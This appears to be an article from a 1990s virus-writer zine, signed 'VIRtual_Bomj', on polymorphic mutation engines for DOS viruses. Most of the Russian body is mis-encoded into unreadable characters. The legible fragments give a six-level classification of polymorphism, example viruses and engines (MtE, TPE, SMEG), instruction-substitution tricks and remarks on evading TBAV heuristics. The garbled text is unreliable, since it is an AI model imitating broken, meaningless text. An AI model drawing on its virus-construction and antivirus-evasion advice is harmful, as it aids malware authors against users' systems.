         㤮,    ॡ  쬠  娥
        ,    ,  ࠢ饩  ME.  
        ࠢ           㣨
         뢠 ॣࠬ. ⠫쭮  ᤥ -
        . ⭮      祬   
         ⠪ ,  祭  ।,    㤮-
        ⢮ 짮  ⭮ .    -
           祡 楫, ⮫쪮 ⮣ ⠪ ࠢ-
         .   ⮭⥩:       
        ஢騪 ⠪: push cs/pop ds ( - 㣮  
        ⥬  ᫮). ⮬ ᬮ  ࢨ. ᫨  
         । 㤠  ⮢, ࠢ  ॣ
        cs  ds,   ⠪   ।  ࠡ  
        ᬮ. 祬 ।  ୠ.   ⠪
        ⥫  䫠, ᮡ  DF,      
        ᥣ,    ⮨  㬮砭  ।  
         襭,  ᫨   ࠡ⠥   ME.    砫
        ४  -䠩  拉   㦥  -
        騩. ᭨  ਯ,    
        㬠, ࠨ   .  ᫨ ,  ।! ;)

        H   襭 ⥬ 䨧    ᫮  
        ⮤, ᯮ㥬 ᠬ OneHalf   CommanderBomber.
         㦥 筮      ⭠. -
         ࠧᠭ  ⥫ ࠦ  ணࠬ    ।⠢-
         ᮡ   ஢騪,    
        ᭮ ⥫ , ᠭ  䠩. ⮨⢠  -
        .      ⮡  쬠
        ᮪ 䨧   ⢨  ᪨    ࠦ
        䠩. H⮪ - ᫮ ॠ  窮,  
        ᯥ 쭮 ,   ४    
         ࠧ  砫    䨧,  
         ⥬     ⭠.        :  
        .COM-䠩  뢠   ந  -
        ⥩ 䠩,   ,      ਣ
         뢠 ᪨  ஢騪,  ।騥  
         ࠢ    jmp, call, push/retn  
        .  ᪥ 䠩 ⥫  ஢뢠   -
          ᫥ 室.     ⠭
        ਣ  䠩,      .  
        譨  筮 ⠪ , ⮫쪮 室   ⭠-
          १ 맮 ⨯ far  筮    -
         ਣ  (  ⥭, of course) 
        ⮨ 뢠  ५襭.   ᮢ:  
        䨪  ᠬ  ᥡ,    - 㤥  ࠧ-
          ᮡ稢    .  祭  
          䨪    ,  ⠪  -
         ⠢  㤠 㣮  譨 祭. (  -
          onehalf  ࠢ  ⭮)  ᥣ  ⠪  
        .  ᠭ Mutation Engine ᯮᮡ  -
          㤮⢨,      ਥ  :(  ᥬ
            ⥩襭 (  ᠭ 
        @#   筥 ),  ⥬   
          室.  ⮤ ⥭     쬨
          - ࠦ ⠪ ࠧ 䠩  ⠪ ᫮-
         뫥. ࠢ  ... :(

         ।  ஢  ᭮  䨧.
         뫨 । Alan Solomon, Mechanism  of  Stealth,
        Proceedings  Fifth  International  Computer  Virus    and
        Security Conference, New York, March 1992, pp. 232-238.

        ⪮  ஢.

        ஢ 1.  ᯮ ﭭ 祭  ࠧ-
         ᢮ ஢騪.      ।
          ﭭ ⪠      ஢騪.
         , , 뢠  "  祭  묨"
         묨 (oligomorphic).

        :  Cheeba.A  (2    decryptors),    Cheeba.B    (2),
        December_3rd (2), Slovakia.2_00 (8),  Slovakia.2_02  (8),
        Slovakia.3_0 (8), V-Sign (6), Whale (34).

        ஢ 2. ஢騪  ﭭ      -
        쪮 権. Hਬ, ᯮ ࠧ  ॣ-
        ,  ୠ⨢ 樨  ஢騪.
          ⠪  ।   ᪥  -  -
         ।   ਯ. : ABC, DM.330,
        Flip,    Jerusalem.Moctezuma,    Ontario.1024,    PC-Flu,
        Phoenix.1226,        Phoenix.2000,          Phoenix.Evil,
        Phoenix.Phoenix,  Phoenix.Proud,  Seat,  Stasi,    Suomi,
        Virus-101, VS.3900, VS.4000,...

        ஢ 3. , ᯮ騥  ஢騪  ,
         騥  ஢ ᭮ ,    "-
        -".  ⠪ ,  NOP, MOV AX,AX, STI,
        CLD, CLI,...   ⠪    ⥪஢  
         ᪨, ᫨ ந "ᥨ"   "-
        "  .  :  Tequila,  StarShip,    V2Px.V2P1,
        V2Px.V2P1.Casper, V2Px.V2P2, V2Px.V2P6, DrWhite,...

        ஢ 4. ᯮ짮  ஢騪  塞
        権  "६訢" 権   ᮡ  
         ⬠ ஢. Hਬ,   MOV
        AX,BX  塞 樨: PUSH  BX  -  POP
        AX; XCHG AX,BX; MOV CX,BX - MOV AX,CX; ....    ਭ樯,
         ⥪஢  ᮢ    -
        ன ॡࠥ ᪨.

        ஢ 5. 砥  ᥡ ᯮ짮  ᫥-
          ஢,  ⠪  ஢騪    ᯮ짮-
         ࠧ   ஢  ᭮  .
          ᯮ짮,  ஢  ᭮-
         ᭮ , ஢  ᠬ   ਯ-
          ᪮쪨 ஢騪, ।  ஢-
          㣠, , ।⢥,    .
         ࠢ, ⥪஢ ᮢ  ஢  -
        䨧   ᨣ .  ⥪-
        ஢ , ᮡ, 祭 ⠪  - 祭  ᫮-
          ,  , 쭮 த⥫쭠  -
         (difficult and time-consuming task). ᫨  ⥪-
        ஢ ⠪    쥧    
        ⮫쪮 ᠬ ஢騪,     祭  室
        ந    ஢ ⥫  ,
         祭 ਣ쭮 ଠ樨  ࠦ  䠩-
        .    ⨢ᮢ 祭 ᮢ  ᫥-
          ஢  䨧  ந  -V    Dr.   Web.
        SMEG-,  ࠩ ,      -
        .  4  5 ஢: MtE, TPE, APE,  DAME,  DSME,
        DSCE, NED, MGEN, CLME, SMEG-based, Uruguay,...

          祭,   6 㯯  -
        ᮢ.  ஢ , -  , 騥 
        ணࠬ -⥩,  "६訢" -
         ⥫ .  ,  "㡨"    ᢮
        ணࠬ (⠫樨, ࠦ, ࠡ稪  -
        ,  䠩   ..).      뢠
        騬 (permutating).   ᠬ ⭮:
        BadBoy,   BadBoy.Worthless,    CommanderBomber,    Leech,
        SN.1444,...

        ᫥᫮.

         ᥩ ᮪ ஢ 䭮    砥
        襩 .  㢥७  TBAV 㣠    -
         ⨯ mov dx,[bp+si+1234h],        
         ᠭ ᮡ⢥ ME.   筮 窨  ७
          ᨬ쭮 䨧  
         , 祬  ஬,       
        㣠 த ⨪ (ࠧ ᯮ -   
          ⭮ ;). ᫨  ⠥  ᠭ  䫠
        TBAV',  ,   ⮨ ⠢,   
          .   ⮬       -
        ஢ ୠ  VLAD    ⥫쭠  ,  ᠭ
        Absolute Overlord',  뢠  A  Humble  PolyMorphic
        Engine Primer. H⮪  ⮩  -  娫  ᫮
        訡 (୮   ⮪),     ।-
         ⮨.   쥧 뢠  ⮬, ⮡  -
           ॢ,  ६ ... :(((

        ਭ     ୮    㯯    SGWW,    VLAD,
        Phalcon/Skism   ୠ,  祭    
        ᠭ ⮣ ࠧ.  ᥬ ᯠᨡ!

                               Sincerely yours, VIRtual_Bomj
                                          I'll be back!